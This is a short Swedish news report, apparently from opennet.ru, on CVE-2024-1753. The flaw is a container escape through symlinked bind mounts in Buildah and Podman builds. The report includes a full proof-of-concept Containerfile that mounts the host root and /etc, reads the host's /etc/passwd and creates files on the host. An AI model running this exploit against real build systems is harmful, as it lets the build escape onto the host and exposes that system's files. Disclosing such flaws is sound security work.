I paketen Buildah och Podman har en sÄrbarhet identifierats (CVE-2024-1753) som gör det möjligt att fÄ fullstÀndig Ätkomst till vÀrdsystemets filsystem under byggfasen av en container som körs med root-rÀttigheter. PÄ system med aktiverad SELinux begrÀnsas Ätkomsten till vÀrd-FS till skrivskyddat lÀge. En lösning finns för nÀrvarande tillgÀnglig i form av en patch som just har antagits i kodbasen för Buildah.
SÄrbarheten beror pÄ att nÀr man utför montering av delar av filsystemet med kommandot "mount --bind" under byggfasen i RUN-stadiet, sÄ verifieras inte argumentet för den ursprungliga katalogen (parametern "source=") för förekomst i det root-FS. En av en angripare utformad Containerfile-konfigurationsfil kan anvÀnda en containerbild dÀr den ursprungliga katalogen för montering definieras som en symbolisk lÀnk till root-FS. I det hÀr fallet leder monteringsoperationen till montering av vÀrd-systemets root-FS inuti containern, vilket gör det möjligt att fÄ fullstÀndig Ätkomst till vÀrdsystemets filsystem under RUN-stadiet och att möjliggöra uttrÀde frÄn containern under byggprocessen med kommandona "buildah build" eller "podman build".
Ett exempel pÄ en skadlig Containerfile som byggs med kommandot "podman build -f ~/Containerfile ." och som kommer att visa innehÄllet i /etc/passwd och skapa filerna /BIND_BREAKEOUT och /etc/BIND_BREAKOUT2 i vÀrdsystemet: FROM alpine as base RUN ln -s / /rootdir RUN ln -s /etc /etc2 FROM alpine RUN echo "ls container root" RUN ls -l / RUN echo "Med utnyttjande av detta visas vÀrdroot, inte containerns root, och skapar /BIND_BREAKOUT i / pÄ vÀrden" RUN --mount=type=bind,from=base,source=/rootdir,destination=/exploit,rw ls -l /exploit; touch /exploit/BIND_BREAKOUT; ls -l /exploit RUN echo "Med utnyttjande av detta visas vÀrd /etc/passwd, inte containerns, och skapar /BIND_BREAKOUT2 i /etc pÄ vÀrden" RUN --mount=type=bind,rw,source=/etc2,destination=/etc2,from=base ls -l /; ls -l /etc2/passwd; cat /etc2/passwd; touch /etc2/BIND_BREAKOUT2; ls -l /etc2
KĂ€lla: opennet.ru
